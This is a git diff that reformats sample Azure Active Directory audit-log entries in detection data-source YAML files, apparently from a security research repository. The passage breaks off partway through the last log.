"231de5d4-2156-433a-8163-48956bdaa040", "Level": 4, "properties": {"id": "Directory_231de5d4-2156-433a-8163-48956bdaa040_C21RW_365283677", "category": "ApplicationManagement", "correlationId": "231de5d4-2156-433a-8163-48956bdaa040", "result": "success", "resultReason": "", "activityDisplayName": "Add owner to application", "activityDateTime": "2023-06-20T15:54:13.2420879+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "4d3f1865-b395-4430-91dc-1b9dd337712e", "displayName": null, "userPrincipalName": "globaladmin@splunkresearch.com", "ipAddress": "20.190.135.43", "roles": []}}, "targetResources": [{"id": "dd92f1af-43d7-47d9-b93c-a78c6b635180", "displayName": null, "type": "User", "userPrincipalName": "Abigail.Clark@splunkresearch.com", "modifiedProperties": [{"displayName": "Application.ObjectID", "oldValue": null, "newValue": "\"bb2479d8-5e89-4480-bb7e-3178d5a5d469\""}, {"displayName": "Application.DisplayName", "oldValue": null, "newValue": "\"CloudForge\""}, {"displayName": "Application.AppId", "oldValue": null, "newValue": "\"f0748f3d-45f2-4e2e-a4e1-f2e2b5271bdf\""}], "administrativeUnits": []}, {"id": "bb2479d8-5e89-4480-bb7e-3178d5a5d469", "displayName": null, "type": "Application", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Darwin 22.4.0 Darwin Kernel Version 22.4.0: Mon Mar 6 21:00:17 PST 2023; root:xnu-8796.101.5~3/RELEASE_X86_64; en-US) PowerShell/7.3.4"}]}} diff --git a/data_sources/azure_active_directory_add_service_principal.yml b/data_sources/azure_active_directory_add_service_principal.yml index d38625d428..de82af542f 100644 --- a/data_sources/azure_active_directory_add_service_principal.yml +++ b/data_sources/azure_active_directory_add_service_principal.yml @@ -116,4 +116,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2024-02-07T22:31:14.4970418Z", "resourceId": "/tenants/a417c578-c7ee-480d-a225-d48057e74df5/providers/Microsoft.aadiam", "operationName": "Add service principal", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "a417c578-c7ee-480d-a225-d48057e74df5", "resultSignature": "None", "durationMs": 0, "correlationId": "ea473f15-64b3-435a-a885-6ee3908919e2", "Level": 4, "properties": {"id": "Directory_ea473f15-64b3-435a-a885-6ee3908919e2_GSOLK_21152854", "category": "ApplicationManagement", "correlationId": "ea473f15-64b3-435a-a885-6ee3908919e2", "result": "success", "resultReason": "", "activityDisplayName": "Add service principal", "activityDateTime": "2024-02-07T22:31:14.4970418+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "Herman@phantomengineering.onmicrosoft.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "2dedf863-ac93-4f45-87b3-e32f48145380", "displayName": "Malicious11", "type": "ServicePrincipal", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[]", "newValue": "[true]"}, {"displayName": "AppPrincipalId", "oldValue": "[]", "newValue": "[\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"]"}, {"displayName": "DisplayName", "oldValue": "[]", "newValue": "[\"Malicious11\"]"}, {"displayName": "ServicePrincipalName", "oldValue": "[]", "newValue": "[\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"]"}, {"displayName": "Credential", "oldValue": "[]", "newValue": "[{\"CredentialType\":2,\"KeyStoreId\":\"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\",\"KeyGroupId\":\"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"}]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential\""}, {"displayName": "TargetId.ServicePrincipalNames", "oldValue": null, "newValue": "\"e06366ca-8489-4748-b6a2-d7e4332f45c1\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"}, {"key": "AppId", "value": "e06366ca-8489-4748-b6a2-d7e4332f45c1"}]}}' +example_log: | + {"time": "2024-02-07T22:31:14.4970418Z", "resourceId": "/tenants/a417c578-c7ee-480d-a225-d48057e74df5/providers/Microsoft.aadiam", "operationName": "Add service principal", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "a417c578-c7ee-480d-a225-d48057e74df5", "resultSignature": "None", "durationMs": 0, "correlationId": "ea473f15-64b3-435a-a885-6ee3908919e2", "Level": 4, "properties": {"id": "Directory_ea473f15-64b3-435a-a885-6ee3908919e2_GSOLK_21152854", "category": "ApplicationManagement", "correlationId": "ea473f15-64b3-435a-a885-6ee3908919e2", "result": "success", "resultReason": "", "activityDisplayName": "Add service principal", "activityDateTime": "2024-02-07T22:31:14.4970418+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "Herman@phantomengineering.onmicrosoft.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "2dedf863-ac93-4f45-87b3-e32f48145380", "displayName": "Malicious11", "type": "ServicePrincipal", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[]", "newValue": "[true]"}, {"displayName": "AppPrincipalId", "oldValue": "[]", "newValue": "[\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"]"}, {"displayName": "DisplayName", "oldValue": "[]", "newValue": "[\"Malicious11\"]"}, {"displayName": "ServicePrincipalName", "oldValue": "[]", "newValue": "[\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"]"}, {"displayName": "Credential", "oldValue": "[]", "newValue": "[{\"CredentialType\":2,\"KeyStoreId\":\"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\",\"KeyGroupId\":\"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"}]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential\""}, {"displayName": "TargetId.ServicePrincipalNames", "oldValue": null, "newValue": "\"e06366ca-8489-4748-b6a2-d7e4332f45c1\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"}, {"key": "AppId", "value": "e06366ca-8489-4748-b6a2-d7e4332f45c1"}]}} diff --git a/data_sources/azure_active_directory_add_unverified_domain.yml b/data_sources/azure_active_directory_add_unverified_domain.yml index 2a9cd852c8..d56503b322 100644 --- a/data_sources/azure_active_directory_add_unverified_domain.yml +++ b/data_sources/azure_active_directory_add_unverified_domain.yml @@ -110,4 +110,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-26T13:45:54.1582053Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add unverified domain", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "correlationId": "bdab88f3-69a4-4e66-883d-5b1e1558e61b", "Level": 4, "properties": {"id": "Directory_bdab88f3-69a4-4e66-883d-5b1e1558e61b_311NT_82497138", "category": "DirectoryManagement", "correlationId": "bdab88f3-69a4-4e66-883d-5b1e1558e61b", "result": "success", "resultReason": "", "activityDisplayName": "Add unverified domain", "activityDateTime": "2023-07-26T13:45:54.1582053+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "roles": []}}, "targetResources": [{"id": null, "displayName": "newdomain.com", "modifiedProperties": [{"displayName": "Name", "oldValue": "[\"\"]", "newValue": "[\"newdomain.com\"]"}, {"displayName": "LiveType", "oldValue": "[\"None\"]", "newValue": "[\"Managed\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"Name,LiveType\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}]}}' +example_log: | + {"time": "2023-07-26T13:45:54.1582053Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add unverified domain", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "correlationId": "bdab88f3-69a4-4e66-883d-5b1e1558e61b", "Level": 4, "properties": {"id": "Directory_bdab88f3-69a4-4e66-883d-5b1e1558e61b_311NT_82497138", "category": "DirectoryManagement", "correlationId": "bdab88f3-69a4-4e66-883d-5b1e1558e61b", "result": "success", "resultReason": "", "activityDisplayName": "Add unverified domain", "activityDateTime": "2023-07-26T13:45:54.1582053+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "roles": []}}, "targetResources": [{"id": null, "displayName": "newdomain.com", "modifiedProperties": [{"displayName": "Name", "oldValue": "[\"\"]", "newValue": "[\"newdomain.com\"]"}, {"displayName": "LiveType", "oldValue": "[\"None\"]", "newValue": "[\"Managed\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"Name,LiveType\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}]}} diff --git a/data_sources/azure_active_directory_consent_to_application.yml b/data_sources/azure_active_directory_consent_to_application.yml index 8899b977d7..70fc143b21 100644 --- a/data_sources/azure_active_directory_consent_to_application.yml +++ b/data_sources/azure_active_directory_consent_to_application.yml @@ -111,4 +111,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-10-27T16:14:14.9747033Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Consent to application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "resultDescription": "Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException", "durationMs": 0, "callerIpAddress": "13.85.188.242", "correlationId": "864210f1-2950-47cb-9e12-1a71dcbdb1d5", "Level": 4, "properties": {"id": "Directory_864210f1-2950-47cb-9e12-1a71dcbdb1d5_DO21D_338329364", "category": "ApplicationManagement", "correlationId": "864210f1-2950-47cb-9e12-1a71dcbdb1d5", "result": "failure", "resultReason": "Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException", "activityDisplayName": "Consent to application", "activityDateTime": "2023-10-27T16:14:14.9747033+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "displayName": null, "userPrincipalName": "user15@splunkresearch.onmicrosoft.com", "ipAddress": "13.85.188.242", "roles": []}}, "targetResources": [{"id": "6228c72e-8895-4681-bbda-238132dc4f3c", "displayName": "Bad App 1", "type": "Application", "modifiedProperties": [{"displayName": "ConsentContext.IsAdminConsent", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.IsAppOnly", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.OnBehalfOfAll", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.Tags", "oldValue": null, "newValue": "\"WindowsAzureActiveDirectoryIntegratedApp\""}, {"displayName": "ConsentAction.Permissions", "oldValue": null, "newValue": "\"[] => [[Id: AAAAAAAAAAAAAAAAAAAAALSZcc5Sj_NGtUtP2B3pYeI2veRXIpdKSpcpcgPY4Aty, ClientId: 00000000-0000-0000-0000-000000000000, PrincipalId: 57e4bd36-9722-4a4a-9729-7203d8e00b72, ResourceId: ce7199b4-8f52-46f3-b54b-4fd81de961e2, ConsentType: Principal, Scope: Mail.Read Mail.Read.Shared Mail.ReadBasic Mail.ReadBasic.Shared Mail.ReadWrite Mail.ReadWrite.Shared Mail.Send Mail.Send.Shared User.Read, CreatedDateTime: , LastModifiedDateTime ]]; \""}, {"displayName": "ConsentAction.Reason", "oldValue": null, "newValue": "\"Risky application detected\""}, {"displayName": "MethodExecutionResult.", "oldValue": null, "newValue": "\"Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "EvoSTS"}, {"key": "AppId", "value": "96f6a3d6-d5aa-4af5-a77a-9319b5283712"}]}}' +example_log: | + {"time": "2023-10-27T16:14:14.9747033Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Consent to application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "resultDescription": "Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException", "durationMs": 0, "callerIpAddress": "13.85.188.242", "correlationId": "864210f1-2950-47cb-9e12-1a71dcbdb1d5", "Level": 4, "properties": {"id": "Directory_864210f1-2950-47cb-9e12-1a71dcbdb1d5_DO21D_338329364", "category": "ApplicationManagement", "correlationId": "864210f1-2950-47cb-9e12-1a71dcbdb1d5", "result": "failure", "resultReason": "Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException", "activityDisplayName": "Consent to application", "activityDateTime": "2023-10-27T16:14:14.9747033+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "displayName": null, "userPrincipalName": "user15@splunkresearch.onmicrosoft.com", "ipAddress": "13.85.188.242", "roles": []}}, "targetResources": [{"id": "6228c72e-8895-4681-bbda-238132dc4f3c", "displayName": "Bad App 1", "type": "Application", "modifiedProperties": [{"displayName": "ConsentContext.IsAdminConsent", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.IsAppOnly", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.OnBehalfOfAll", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.Tags", "oldValue": null, "newValue": "\"WindowsAzureActiveDirectoryIntegratedApp\""}, {"displayName": "ConsentAction.Permissions", "oldValue": null, "newValue": "\"[] => [[Id: AAAAAAAAAAAAAAAAAAAAALSZcc5Sj_NGtUtP2B3pYeI2veRXIpdKSpcpcgPY4Aty, ClientId: 00000000-0000-0000-0000-000000000000, PrincipalId: 57e4bd36-9722-4a4a-9729-7203d8e00b72, ResourceId: ce7199b4-8f52-46f3-b54b-4fd81de961e2, ConsentType: Principal, Scope: Mail.Read Mail.Read.Shared Mail.ReadBasic Mail.ReadBasic.Shared Mail.ReadWrite Mail.ReadWrite.Shared Mail.Send Mail.Send.Shared User.Read, CreatedDateTime: , LastModifiedDateTime ]]; \""}, {"displayName": "ConsentAction.Reason", "oldValue": null, "newValue": "\"Risky application detected\""}, {"displayName": "MethodExecutionResult.", "oldValue": null, "newValue": "\"Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "EvoSTS"}, {"key": "AppId", "value": "96f6a3d6-d5aa-4af5-a77a-9319b5283712"}]}} diff --git a/data_sources/azure_active_directory_disable_strong_authentication.yml b/data_sources/azure_active_directory_disable_strong_authentication.yml index 43c45b2877..d8c889b876 100644 --- a/data_sources/azure_active_directory_disable_strong_authentication.yml +++ b/data_sources/azure_active_directory_disable_strong_authentication.yml @@ -94,4 +94,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-11T00:01:35.0251899Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Disable Strong Authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "correlationId": "7e3ee05c-ce4f-4ff1-8230-55555c25c97e", "Level": 4, "properties": {"id": "Directory_7e3ee05c-ce4f-4ff1-8230-55555c25c97e_DADCR_14299826", "category": "UserManagement", "correlationId": "7e3ee05c-ce4f-4ff1-8230-55555c25c97e", "result": "success", "resultReason": "", "activityDisplayName": "Disable Strong Authentication", "activityDateTime": "2023-07-11T00:01:35.0251899+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "oops@splunkresearch.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "94b969a3-11cb-4075-a1fd-9fee3daf692e", "displayName": null, "type": "User", "userPrincipalName": "Abigail.Clark@splunkresearch.com", "modifiedProperties": [{"displayName": "StrongAuthenticationRequirement", "oldValue": "[{\"RelyingParty\":\"*\",\"State\":1,\"RememberDevicesNotIssuedBefore\":\"2023-07-11T00:01:26+00:00\"}]", "newValue": "[]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"StrongAuthenticationRequirement\""}], "administrativeUnits": []}], "additionalDetails": []}}' +example_log: | + {"time": "2023-07-11T00:01:35.0251899Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Disable Strong Authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "correlationId": "7e3ee05c-ce4f-4ff1-8230-55555c25c97e", "Level": 4, "properties": {"id": "Directory_7e3ee05c-ce4f-4ff1-8230-55555c25c97e_DADCR_14299826", "category": "UserManagement", "correlationId": "7e3ee05c-ce4f-4ff1-8230-55555c25c97e", "result": "success", "resultReason": "", "activityDisplayName": "Disable Strong Authentication", "activityDateTime": "2023-07-11T00:01:35.0251899+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "oops@splunkresearch.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "94b969a3-11cb-4075-a1fd-9fee3daf692e", "displayName": null, "type": "User", "userPrincipalName": "Abigail.Clark@splunkresearch.com", "modifiedProperties": [{"displayName": "StrongAuthenticationRequirement", "oldValue": "[{\"RelyingParty\":\"*\",\"State\":1,\"RememberDevicesNotIssuedBefore\":\"2023-07-11T00:01:26+00:00\"}]", "newValue": "[]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"StrongAuthenticationRequirement\""}], "administrativeUnits": []}], "additionalDetails": []}} diff --git a/data_sources/azure_active_directory_enable_account.yml b/data_sources/azure_active_directory_enable_account.yml index 79d242ff8c..605177e4a2 100644 --- a/data_sources/azure_active_directory_enable_account.yml +++ b/data_sources/azure_active_directory_enable_account.yml @@ -104,4 +104,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-24T14:28:15.2223487Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Enable account", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "Level": 4, "properties": {"id": "Directory_d34f6d2e-3120-4b96-b922-e06090f6a497_VPRLA_316413188", "category": "UserManagement", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "result": "success", "resultReason": "", "activityDisplayName": "Enable account", "activityDateTime": "2023-07-24T14:28:15.2223487+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": null, "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled\""}], "administrativeUnits": []}], "additionalDetails": []}}' +example_log: | + {"time": "2023-07-24T14:28:15.2223487Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Enable account", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "Level": 4, "properties": {"id": "Directory_d34f6d2e-3120-4b96-b922-e06090f6a497_VPRLA_316413188", "category": "UserManagement", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "result": "success", "resultReason": "", "activityDisplayName": "Enable account", "activityDateTime": "2023-07-24T14:28:15.2223487+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": null, "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled\""}], "administrativeUnits": []}], "additionalDetails": []}} diff --git a/data_sources/azure_active_directory_invite_external_user.yml b/data_sources/azure_active_directory_invite_external_user.yml index 6fde0ecac3..55148faa4e 100644 --- a/data_sources/azure_active_directory_invite_external_user.yml +++ b/data_sources/azure_active_directory_invite_external_user.yml @@ -106,4 +106,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-13T00:29:59.5100003Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Invite external user", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "40.126.4.40", "correlationId": "e7d580a6-eaac-4f82-843c-40b0b5f3cf99", "Level": 4, "properties": {"id": "Invited Users_e7d580a6-eaac-4f82-843c-40b0b5f3cf99_YNUMP_7291793", "category": "UserManagement", "correlationId": "e7d580a6-eaac-4f82-843c-40b0b5f3cf99", "result": "success", "resultReason": null, "activityDisplayName": "Invite external user", "activityDateTime": "2023-07-13T00:29:59.5100003+00:00", "loggedByService": "Invited Users", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "oopsr@splunkresearch.com", "ipAddress": "40.126.4.40", "roles": []}}, "targetResources": [{"id": "f416526a-17ee-4129-8ca9-f5ee55f69f34", "displayName": "oops", "type": "User", "userPrincipalName": "oops360_gmail.com#EXT#@strtadminsplunkresearch.onmicrosoft.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "oid", "value": "728989f4-eb3d-45c2-8741-2f2af4e485ce"}, {"key": "tid", "value": "fc69e276-e9e8-4af9-9002-1e410d77244e"}, {"key": "ipaddr", "value": "2601:646:a000:200:c4db:f288:7e28:21b3"}, {"key": "wids", "value": "62e90394-69f5-4237-9190-012177145e10"}, {"key": "InvitationId", "value": "65c7d12f-c6f3-44f0-8fad-4f57a1020484"}, {"key": "invitedUserEmailAddress", "value": "oops360@gmail.com"}]}}' +example_log: | + {"time": "2023-07-13T00:29:59.5100003Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Invite external user", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "40.126.4.40", "correlationId": "e7d580a6-eaac-4f82-843c-40b0b5f3cf99", "Level": 4, "properties": {"id": "Invited Users_e7d580a6-eaac-4f82-843c-40b0b5f3cf99_YNUMP_7291793", "category": "UserManagement", "correlationId": "e7d580a6-eaac-4f82-843c-40b0b5f3cf99", "result": "success", "resultReason": null, "activityDisplayName": "Invite external user", "activityDateTime": "2023-07-13T00:29:59.5100003+00:00", "loggedByService": "Invited Users", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "oopsr@splunkresearch.com", "ipAddress": "40.126.4.40", "roles": []}}, "targetResources": [{"id": "f416526a-17ee-4129-8ca9-f5ee55f69f34", "displayName": "oops", "type": "User", "userPrincipalName": "oops360_gmail.com#EXT#@strtadminsplunkresearch.onmicrosoft.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "oid", "value": "728989f4-eb3d-45c2-8741-2f2af4e485ce"}, {"key": "tid", "value": "fc69e276-e9e8-4af9-9002-1e410d77244e"}, {"key": "ipaddr", "value": "2601:646:a000:200:c4db:f288:7e28:21b3"}, {"key": "wids", "value": "62e90394-69f5-4237-9190-012177145e10"}, {"key": "InvitationId", "value": "65c7d12f-c6f3-44f0-8fad-4f57a1020484"}, {"key": "invitedUserEmailAddress", "value": "oops360@gmail.com"}]}} diff --git a/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml b/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml index 3174742fdf..77a0f882b7 100644 --- a/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml +++ b/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml @@ -87,4 +87,5 @@ fields: - user_id - vendor_account - vendor_product -example_log: '{"time": "2024-04-30T01:22:46.4948958Z", "resourceId": "/TENANTS/225E05A1-5914-4688-A404-7030E60F3143/PROVIDERS/MICROSOFT.AADIAM", "operationName": "Microsoft Graph Activity", "operationVersion": "beta", "category": "MicrosoftGraphActivityLogs", "resultSignature": "200", "durationMs": "948894", "callerIpAddress": "45.83.145.6", "correlationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "level": "Informational", "location": "East US 2", "properties": {"__UDI_RequiredFields_TenantId": "225e05a1-5914-4688-a404-7030e60f3143", "__UDI_RequiredFields_UniqueId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "__UDI_RequiredFields_EventTime": 638500369660000000, "__UDI_RequiredFields_RegionScope": "NA", "timeGenerated": "2024-04-30T01:22:46.4948958Z", "location": "East US 2", "requestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "operationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "clientRequestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "apiVersion": "beta", "requestMethod": "GET", "responseStatusCode": 200, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "durationMs": 948894, "responseSizeBytes": 91, "signInActivityId": "KRsphQ_4s0-oHv_Br8qSAQ", "roles": "", "appId": "1950a258-227b-4e31-a9cf-717495945fc2", "UserPrincipalObjectID": "7b934539-7366-494e-a8ac-3517694d32db", "scopes": "AuditLog.Read.All Directory.AccessAsUser.All email openid profile", "identityProvider": "", "clientAuthMethod": "0", "wids": "b79fbf4d-3ef9-4689-8143-76b194e85509", "C_Idtyp": "user", "C_Iat": "1714439850", "ipAddress": "45.83.145.6", "userAgent": "azurehound/v2.1.8", "requestUri": "https://graph.microsoft.com/beta/servicePrincipals/ffe3e001-d8cf-43a4-89ab-bfce35fd7786/owners?%24top=999", "userId": "7b934539-7366-494e-a8ac-3517694d32db", "tokenIssuedAt": "2024-04-30T01:17:30.0000000Z"}, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143"}' +example_log: | + {"time": "2024-04-30T01:22:46.4948958Z", "resourceId": "/TENANTS/225E05A1-5914-4688-A404-7030E60F3143/PROVIDERS/MICROSOFT.AADIAM", "operationName": "Microsoft Graph Activity", "operationVersion": "beta", "category": "MicrosoftGraphActivityLogs", "resultSignature": "200", "durationMs": "948894", "callerIpAddress": "45.83.145.6", "correlationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "level": "Informational", "location": "East US 2", "properties": {"__UDI_RequiredFields_TenantId": "225e05a1-5914-4688-a404-7030e60f3143", "__UDI_RequiredFields_UniqueId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "__UDI_RequiredFields_EventTime": 638500369660000000, "__UDI_RequiredFields_RegionScope": "NA", "timeGenerated": 